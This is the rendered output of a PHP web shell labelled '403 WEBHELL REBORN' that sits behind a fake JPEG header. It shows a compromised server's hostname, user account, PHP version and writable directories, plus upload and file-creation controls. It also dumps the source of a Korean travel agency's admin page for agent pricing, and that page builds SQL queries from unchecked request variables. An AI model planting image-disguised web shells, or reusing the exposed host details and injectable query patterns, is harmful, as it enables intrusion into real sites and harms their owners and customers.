ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/good/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/good/ajaxGoodDateAgent.html
<?
include "../include/top_proc.html";

if(!$g_uid) exit;

// 상품정보
$arr = good_list(" and g_uid='{$g_uid}' ");
$row_good = $arr[0];
$b_uid = $row_good['b_uid'];
$bcLang = getBcLang($b_uid);

//해당 상품의 언어
$bcLang = $bcLang['b_lang'];


// 대리점
$data_member = member_fetch(" and mb_level='12' and del_flag='N' ");



//$memberBzNation =
//bz_nat CN, HK, KO, MY, TW, US

// 수정모드
$agent_arr = array();
if($d_uid) {
	$data = date_list($g_uid,"none"," and d_uid='{$d_uid}' ");
    $row = $data[0];
	$agent_arr = $row['d_agent_all'];
}
?>
<?php

## 데이투어>단독투어
if( $row_good['tab']=="D" && $row_good['gdt']=="pe") {
?>

	<div style="height:300px; width:200px;overflow-x: hidden; overflow-y: auto;float:left;">
        <table border="0" cellspacing="0" cellpadding="0" width="100%" class="setting_write p0213" id="setting_write_ag">
		<tr>
			<th width="10%"><input type="checkbox" id="ag_all_item" ></th>
			<th width="90%">거래처명</th>
		</tr>
        <?php
            for($a=0; $a<count($data_member); $a++)
            {
                $arr_t = $data_member[$a];
                $check="";
                if(is_array($agent_arr)) {
                    foreach($agent_arr as $v) {
                        if($v['agent_id']==$arr_t['mb_id']) $check = "checked";
                    }
                }
        ?>
        <tr>
            <td>
                <input type="checkbox" name="" value="<?=$arr_t['mb_id']?>" <?=$check?>>
                <input type="hidden" name="" value="<?=$arr_t['mb_id']?>">
                <input type="hidden" name="" value="<?=$arr_t['bz_agent_comm']?>">
                <input type="hidden" name="" value="<?=$arr_t['bz_agent_comm_type']?>"><!-- A정액제,B정율제 -->
            </td>
            <td height="28"><?=$arr_t['bz_corp_nm']?></td>
        </tr>
        <?php
            }
        ?>
	</table>
	</div>
	<div style="width:746px;overflow-x: hidden; overflow-y: auto;padding-left:5px;float:left;">
	<table border="0" cellspacing="0" cellpadding="0" width="100%" class="setting_write p0213" id="setting_write_ag2">
		<tr>
			<th width="30%">거래처명</th>
			<th width="60%">판매가</th>
			<th width="10%">-</th>
			<?if(is_array($agent_arr)) {
					foreach($agent_arr as $v) {
						$r = get_member($v['agent_id']);
			?>
			<tr>
				<td class="ls-1"><input name="agent_seq_ar[]" type="hidden" value="<?=$v['agent_id']?>"><input name="agent_id_ar[]" type="hidden" value="<?=$v['agent_id']?>"><?=$r['bz_corp_nm']?></td>
				<td><input name="agent_price_adult_ar[]" class="input_text" onkeydown="ChkNum(this,event);" onblur="this.value=comma(this.value)" type="text" size="11" value="<?=number_format($v['adult_price'])?>"></td>
				<td><span class="selected_agent" style="cursor: pointer;" onclick="ag_delrow($(this))">[DEL]</span></td>
			</tr>
			<?}}?>
		</tr>
	</table>
	</div>
<script type="text/javascript">
// 대리점 선택 반전
$(document).ready(function(){
	$("#setting_write_ag > tbody > tr > td > input:checkbox").click(function(){
		var seq = $(this).val();
		var comm_type = $(this).parent().find("input:eq(3)").val(); // 정산방식
		var comm = $(this).parent().find("input:eq(2)").val(); // 정산금액
		var nm = $(this).parent().parent().find("td:eq(1)").html();
		var agent_id = $(this).parent().find("input:eq(1)").val();
		var d_agent1 = parseFloat($("#frmdate input[name='d_agent1']").val().replace(/,/g,''));
		var price_adult=0 ;

		price_adult = (price_adult<0) ? 0:d_agent1;

		price_adult = number_format(price_adult.toString());

		if($(this).prop("checked")==true)
		{
			str =		"<tr>";
			str = str + "<td class='ls-1'><input type='hidden' name='agent_seq_ar[]' value='"+agent_id+"'><input type='hidden' name='agent_id_ar[]' value='"+agent_id+"'>"+nm+"</td>";
			str = str + "<td><input type='text' name='agent_price_adult_ar[]' onKeyDown='ChkNum(this,event);' size='11' value='"+price_adult+"' class='input_text' onblur='this.value=comma(this.value)'></td>";
			str = str + "<td><span class='selected_agent' style='cursor:pointer;' onclick=\"ag_delrow($(this))\">[DEL]</span></td>";
			str = str + "</tr>";

			$("#setting_write_ag2 > tbody ").append(str);
		}else{

			$("#setting_write_ag2 > tbody > tr > td > input:hidden").each(function(){
				if(agent_id==$(this).val())
				{
					$(this).parent().parent().remove();
				}
			});
		}

	});

});
</script>
<?
}

## 패키지 ,  데이투어>단체투어
else{
?>
	<div style="height:300px; width:200px;overflow-x: hidden; overflow-y: auto;float:left;">
	<table border="0" cellspacing="0" cellpadding="0" width="100%" class="setting_write p0213" id="setting_write_ag">
		<tr>
			<th width="10%"><input type="checkbox" id="ag_all_item"></th>
			<th width="90%">거래처명</th>
		</tr>
			<?
				for($a=0 ; $a<count($data_member)  ;$a++)
				{
					$arr_t = $data_member[$a];

                    //bz_nat : CN, HK, KO, MY, TW, US

			        if($bcLang != 'ko'){

						//$bcLang
						if($bcLang == 'en'){
							if($arr_t['bz_nat'] == 'MY' || $arr_t['bz_nat'] == 'US'){
								//통과
							}else{
								continue;
							}
						}else if($bcLang == 'cn'){
							if($arr_t['bz_nat'] == 'CN'){
								//통과
							}else{
								continue;
							}
						}else if($bcLang == 'hk'){
							if($arr_t['bz_nat'] == 'HK' || $arr_t['bz_nat'] == 'TW'){
								//통과
							}else{
								continue;
							}
						}

					}


					$check="";
					if(is_array($agent_arr)) {
						foreach($agent_arr as $v) {
							if($v['agent_id']==$arr_t['mb_id']) $check="checked";
						}
					}
			?>
				<tr>
					<td >
						<input type="checkbox" name="" value="<?=$arr_t['mb_id']?>" <?=$check?>>
						<input type="hidden" name="" value="<?=$arr_t['mb_id']?>">
						<input type="hidden" name="" value="<?=$arr_t['bz_agent_comm']?>">
						<input type="hidden" name="" value="<?=$arr_t['bz_agent_comm_type']?>"><!-- A정액제,B정율제 -->
					</td>
					<td class="ls-1" height="28"><?=$arr_t['bz_corp_nm']?></td>
				</tr>
			<?
				}
			?>
	</table>
	</div>
	<div style="width:726px;overflow-x: hidden; overflow-y: auto;padding-left:5px;float:left;">
	<table border="0" cellspacing="0" cellpadding="0" width="100%" class="setting_write p0213 commissionTb" id="setting_write_ag2">
		<tr>
			<th width="25%">연동 거래처</th>
			<th width="12%" style="background-color:#ff9999">공급처<br>수수료</th>
			<th width="10%" style="background-color:#ff9999">원가(성인)</th>
			<th width="10%" style="background-color:#ff9999">원가(소인)</th>

            <?php
//                if(devCookie()){
            ?>
                    <th width="12%" style="background-color:#3ebde8">판매처<br>수수료</th>
            <?php
//                }
            ?>


			<th width="10%" style="background-color:#3ebde8">B2B(성인)</th>
			<th width="10%" style="background-color:#3ebde8">B2B(소인)</th>
			<th width="10%" style="background-color:#3ebde8;display:none">B2B(유아)</th>
			<th width="5%">-</th>

			<?if(is_array($agent_arr)) {
                foreach($agent_arr as $v) {
                    $r = get_member($v['agent_id']);
            ?>
            <tr>
				<td class="ls-1"><input name="agent_seq_ar[]" type="hidden" value="<?=$v['agent_id']?>"><input name="agent_id_ar[]" type="hidden" value="<?=$v['agent_id']?>"><?=$r['bz_corp_nm']?></td>

				<td><input name="buy_dc_rate_ar[]" class="input_text" onkeydown="" onblur="" type="text" size="4" value="<?=$v['buy_dc_rate']?>" style="text-align:right;">%</td>
				<td><input name="buy_price_adult_ar[]" class="input_text" onkeydown="ChkNum(this,event);" onblur="this.value=comma(this.value)" type="text" size="9" value="<?=number_format($v['adult_buy_price'])?>" style="text-align:right;"></td>
				<td><input name="buy_price_child_ar[]" class="input_text" onkeydown="ChkNum(this,event);" onblur="this.value=comma(this.value)" type="text" size="9" value="<?=number_format($v['child_buy_price'])?>" style="text-align:right;"></td>

                <?php
//                if(devCookie()){
                    ?>
                    <td><input name="agent_dc_rate_ar[]" class="input_text" onkeydown="" onblur="" type="text" size="4" value="<?=$v['agent_dc_rate']?>" style="text-align:right;">%</td>
                    <?php
//                }
                ?>



            <?php
//            if(devCookie()){
            ?>

            <?php
//            }else{
            ?>
                <td><input name="agent_price_adult_ar[]" class="input_text" onkeydown="ChkNum(this,event);" onblur="this.value=comma(this.value)" type="text" size="9" value="<?=number_format($v['adult_price'])?>" style="text-align:right;"></td>
            <?php
//            }
            ?>


				<td><input name="agent_price_child_ar[]" class="input_text" onkeydown="ChkNum(this,event);" onblur="this.value=comma(this.value)" type="text" size="9" value="<?=number_format($v['child_price'])?>" style="text-align:right;"></td>
				<td style="display:none"><input name="agent_price_baby_ar[]" class="input_text" onkeydown="ChkNum(this,event);" onblur="this.value=comma(this.value)" type="text" size="9" value="<?=number_format($v['baby_price'])?>" style="text-align:right;"></td>

				<td><span class="selected_agent" style="cursor: pointer;" onclick="ag_delrow($(this))">[DEL]</span>
					<input type="hidden" name="agent_comm_ar[]" value="<?=$v['agent_comm']?>">
					<input type="hidden" name="agent_comm_type_ar[]" value="<?=$v['agent_comm_type']?>">
				</td>
			</tr>
			<?}}?>
		</tr>
	</table>
	</div>
	<div style="clear:both; padding-top:15px;"><font color="red">※해당 거래처을 체크 하신후, 거래처 B2B가격을 수정/입력 할 수 있습니다.</font></div>
<script type="text/javascript">
// 대리점 선택 반전
$(document).ready(function() {
	$("#setting_write_ag > tbody > tr > td > input:checkbox").click(function(){

		var seq = $(this).val();
		var comm_type = $(this).parent().find("input:eq(3)").val(); // 정산방식
		var comm = $(this).parent().find("input:eq(2)").val(); // 정산금액
		var nm = $(this).parent().parent().find("td:eq(1)").html();
		var agent_id = $(this).parent().find("input:eq(1)").val();
		var price_adult=0 , price_child=0 , price_baby=0;
		var buy_adult=0 , buy_child=0 , buy_baby=0;

		// 거래처가
		var d_agent1 = parseFloat($("#frmdate input[name='d_agent1']").val().replace(/,/g,''));
		var d_agent2 = parseFloat($("#frmdate input[name='d_agent2']").val().replace(/,/g,''));
		var d_agent3 = parseFloat($("#frmdate input[name='d_agent3']").val().replace(/,/g,''));

		price_adult = (price_adult<0) ? 0:d_agent1;
		price_child = (price_child<0) ? 0:d_agent2;
		price_baby = (price_baby<0) ? 0:d_agent3;

		price_adult = number_format(price_adult.toString());
		price_child = number_format(price_child.toString());
		price_baby = number_format(price_baby.toString());

		// 판매가
		var d_money1 = parseFloat($("#frmdate input[name='d_money1']").val().replace(/,/g,''));
		var d_money2 = parseFloat($("#frmdate input[name='d_money2']").val().replace(/,/g,''));
		var d_money3 = parseFloat($("#frmdate input[name='d_money3']").val().replace(/,/g,''));

		buy_adult = (buy_adult<0) ? 0:d_money1;
		buy_child = (buy_child<0) ? 0:d_money2;
		buy_baby = (buy_baby<0) ? 0:d_money3;

		buy_adult = number_format(buy_adult.toString());
		buy_child = number_format(buy_child.toString());
		buy_baby = number_format(buy_baby.toString());

		if($(this).prop("checked")==true)
		{
			str =				"<tr>";
			str = str + "<td class='ls-1'><input type='hidden' name='agent_seq_ar[]' value='"+agent_id+"'><input type='hidden' name='agent_id_ar[]' value='"+agent_id+"'>"+nm+"</td>";

			str = str + "<td><input type='text' name='buy_dc_rate_ar[]' onKeyDown='' size='4' value='0' class='input_text tlr' onblur=''>%</td>";
			str = str + "<td><input type='text' name='buy_price_adult_ar[]' onKeyDown='ChkNum(this,event);' size='9' value='0' class='input_text tlr' onblur='this.value=comma(this.value)'></td>";
			str = str + "<td><input type='text' name='buy_price_child_ar[]' onKeyDown='ChkNum(this,event);' size='9' value='0' class='input_text tlr' onblur='this.value=comma(this.value)'></td>";

            //판매처 수수료
            str = str + "<td><input type='text' name='agent_dc_rate_ar[]' onKeyDown='' size='4' value='0' class='input_text tlr' onblur=''>%</td>";

			str = str + "<td><input type='text' name='agent_price_adult_ar[]' onKeyDown='ChkNum(this,event);' size='9' value='"+price_adult+"' class='input_text tlr' onblur='this.value=comma(this.value)'></td>";
			str = str + "<td><input type='text' name='agent_price_child_ar[]' onKeyDown='ChkNum(this,event);' size='9' value='"+price_child+"' class='input_text tlr' onblur='this.value=comma(this.value)'></td>";

            // str = str + "<td><input type='text' name='agent_price_baby_ar[]' onKeyDown='ChkNum(this,event);' size='9' value='"+price_baby+"' class='input_text tlr' onblur='this.value=comma(this.value)'></td>";


            str = str + "<td><span class='selected_agent' style='cursor:pointer;' onclick=\"ag_delrow($(this))\">[DEL]</span>";
			str = str + "<input type='hidden' name='agent_comm_ar[]' value='"+comm+"'>";
			str = str + "<input type='hidden' name='agent_comm_type_ar[]' value='"+comm_type+"'>";
			str = str + "</td></tr>";


			$("#setting_write_ag2 > tbody ").append(str);
		}else{

			$("#setting_write_ag2 > tbody > tr > td > input:hidden").each(function(){
				if(agent_id==$(this).val())
				{
					$(this).parent().parent().remove();
				}
			});
		}

	});

	// 거래처별 공급가 세팅
	$("#setting_write_ag2").on("blur", "input[name^='buy_dc_rate_ar']", function(){
		var rate = $(this).val();

		var dc_price_adult = 0;
		var dc_price_child = 0;
		var dc_price_baby = 0;

		var buy_price_adult = $("#price_set_item input[name='d_money1']").val(); // 성인 판매가
		var buy_price_child = $("#price_set_item input[name='d_money2']").val(); // 소인 판매가
		var buy_price_baby = $("#price_set_item input[name='d_money3']").val(); // 유아 판매가

		buy_price_adult = parseInt(replaceComma(buy_price_adult), 10);
		buy_price_child = parseInt(replaceComma(buy_price_child), 10);
		buy_price_baby = parseInt(replaceComma(buy_price_baby), 10);

		dc_price_adult = number_format(Math.ceil(buy_price_adult * (1 - rate / 100)));
		dc_price_child = number_format(Math.ceil(buy_price_child * (1 - rate / 100)));
		dc_price_baby = number_format(Math.ceil(buy_price_baby * (1 - rate / 100)));

		$(this).closest("tr").find("input[name='buy_price_adult_ar[]']").val(dc_price_adult);
		$(this).closest("tr").find("input[name='buy_price_child_ar[]']").val(dc_price_child);
		//$(this).closest("tr").find("input[name='buy_price_baby_ar[]']").val(dc_price_baby);

	});


    //거래처별

    $("#setting_write_ag2").on("blur", "input[name^='agent_dc_rate_ar']", function(){
        // console.log('hello world');
        var agent_rate = $(this).val();

        var agent_price_adult = 0;
        var agent_price_child = 0;
        var agent_price_baby = 0;

        var buy_price_adult = $("#price_set_item input[name='d_money1']").val(); // 성인 판매가
        var buy_price_child = $("#price_set_item input[name='d_money2']").val(); // 소인 판매가
        var buy_price_baby = $("#price_set_item input[name='d_money3']").val(); // 유아 판매가

        console.log('buy_price_adult is ' + buy_price_adult);
        console.log('buy_price_child is ' + buy_price_child);

        buy_price_adult = parseInt(replaceComma(buy_price_adult), 10);
        buy_price_child = parseInt(replaceComma(buy_price_child), 10);
        buy_price_baby = parseInt(replaceComma(buy_price_baby), 10);

        dc_price_adult = number_format(Math.ceil(buy_price_adult * (1 - agent_rate / 100)));
        dc_price_child = number_format(Math.ceil(buy_price_child * (1 - agent_rate / 100)));

        console.log('dc_price_adult is ' + buy_price_adult);
        console.log('dc_price_child is ' + buy_price_child);


        dc_price_baby = number_format(Math.ceil(buy_price_baby * (1 - agent_rate / 100)));

        $(this).closest("tr").find("input[name='agent_price_adult_ar[]']").val(dc_price_adult);
        $(this).closest("tr").find("input[name='agent_price_child_ar[]']").val(dc_price_child);


    });



});
</script>
<?
}
?>

<script type="text/javascript">
// 대리점 선택 row 삭제
function ag_delrow($obj)
{
	var seq = $obj.parent().parent().find("input:eq(0)").val();
	$("#setting_write_ag > tbody > tr > td > input:checkbox").each(function(){
		if($(this).val()==seq) $(this).prop("checked",false);
	});

	$obj.parent().parent().remove();
}

$(function(){

	$("#ag_all_item").click(function(){
		var ck = $(this).prop("checked");

		$("#setting_write_ag > tbody > tr > td > input:checkbox").each(function(){
			if(ck==false){
				if($(this).prop("checked")==true) $(this).trigger("click");
			}else{
				if($(this).prop("checked")==false) $(this).trigger("click");
			}

		});

	});

});

// $(window).load(function(){
$(document).ready(function(){
    $("#ag_all_item").click();
})

</script>
<style>
    #setting_write_ag2 tbody tr th{padding:2px}
</style>

Anon7 - 2021